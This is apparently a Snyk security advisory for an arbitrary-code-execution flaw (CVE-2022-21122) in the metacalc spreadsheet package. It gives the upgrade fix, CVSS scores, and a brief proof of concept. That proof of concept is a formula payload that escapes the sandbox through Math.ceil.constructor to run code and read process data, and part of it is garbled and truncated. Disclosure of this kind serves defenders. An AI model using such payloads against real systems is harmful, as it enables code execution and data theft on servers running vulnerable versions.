

# Arbitrary Code Execution

Affecting `metacalc` package, versions <0.0.2

INTRODUCED: 17 MAY 2022 [CVE-2022-21122](#) ?

CWE-94 ? FIRST ADDED BY SNYK

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How to fix?

Upgrade `metacalc` to version 0.0.2 or higher.

## Overview

`metacalc` is a Spreadsheet calculations for Metarhia

Affected versions of this package are vulnerable to Arbitrary Code Execution when it exposes JavaScript's `Math` class to the `v8` context. As the `Math` class is exposed to user-land, it can be used to get access to JavaScript's `Function` constructor.

## PoC

```
const { Sheet } = require('metacalc'); const
sheet = new Sheet(); sheet.cells['A1'] =
'=Math.ceil.constructor("console.log(process)')
'; console.log(sheet.values['A1']);
sheet.cells['A3'] =
'=Math.ceil.constructor("console.log(process.mainMo
\'utf-8\')")()';
console.log(sheet.values['A3']);
```

9.0

CRITICAL

Snyk CVSS

Exploit Maturity

Proof of concept ?

Attack Complexity High ?

Scope

Changed ?

Confidentiality

HIGH ?

Integrity

HIGH ?

Availability

HIGH ?

See more

> NVD

9.8 CRITICAL

Do your applications use this vulnerable package?

## References

- [GitHub Commit](#)
- [GitHub PR](#)

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

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Snyk **SNYK-JS-ID METACALC-2826197**

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Published    **30 May 2022**

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Disclosed    **17 May 2022**

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Credit    **Vladyslav Dukhin**

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